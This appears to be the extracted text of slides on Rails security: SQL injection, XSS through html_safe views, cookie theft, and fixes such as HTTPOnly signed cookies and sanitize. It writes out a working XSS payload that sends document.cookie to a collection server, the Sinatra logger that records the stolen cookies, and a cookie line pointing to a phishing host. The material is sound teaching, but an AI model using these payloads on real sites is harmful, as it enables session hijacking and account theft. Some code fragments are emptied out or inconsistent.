SEARCHING THE FORUM THREAD BY TITLE:

Is SQL injection
impossible in Rails?

Unfortunately, no.
It’s possible,
just not dropping tables.

# app/controllers/comments_controller.rb
class CommentsController < ApplicationController
def create
@thread = ForumThread.find params[:forum_thread_id]
@comments = @thread.comments.build comment_params
@comments.user = current_user
if @comment.save
redirect_to @thread, notice: ‘Successfully added new comment’
else
redirect_to @thread, alert: “Couldn’t save comment“
end
end
private
def comment_params
params.require(:comment).permit(:content)
end
end
# app/views/forum_threads/show.haml
%p= comment.content
COMMENTS - create and show:

def create
if @comment.save
else
end
end
private
def comment_params
end
end
%p= comment.content.html_safe

Hi guys!
<script> alert(“I came for your cookies!“) </script>

What’s up?
<script>
xhttp = new XMLHttpRequest();
xhttp.open(“GET”, “http://localhost:4567/cookies/” + document.cookie);
xhttp.send();
</script>
XSS ATTACK - TEST AND STEALING COOKIES

require ‘sinatra’
require ‘logger’
logger = Logger.new ‘log/cookies.log’
get ‘/cookies/:cookie’ do
logger.info ‘=== COOKIE ===’
logger.info params[:cookie]
logger.info ‘/== COOKIE ===’
end
XSS ATTACK - SIMPLE COOKIES LOGGING SERVER

Are all cookies HTTPOnly
in Rails?

cookies[:after_sign_in_path] = ‘http://localhost/after_sign_in_path’
// document.cookies=”after_sign_in_path=’http://malicious.site/phishing’”
cookies.signed[:after_sign_in_path] = ‘http://localhost/after_sign_in_path’
// document.cookies=”after_sign_in_path=’http://malicious.site/phishing’”
cookies.signed[:after_sign_in_path] = {
value: ‘http://localhost/after_sign_in_path’,
httponly: true
}
// finally safe
UNFORTUNATELY - NO. ALWAYS USE THIS HASH!

It’s safe from cookies stealing,
but is it safe from XSS?

def create
if @comment.save
else
end
end
private
def comment_params
end
end
%p= sanitize comment.content.html_safe
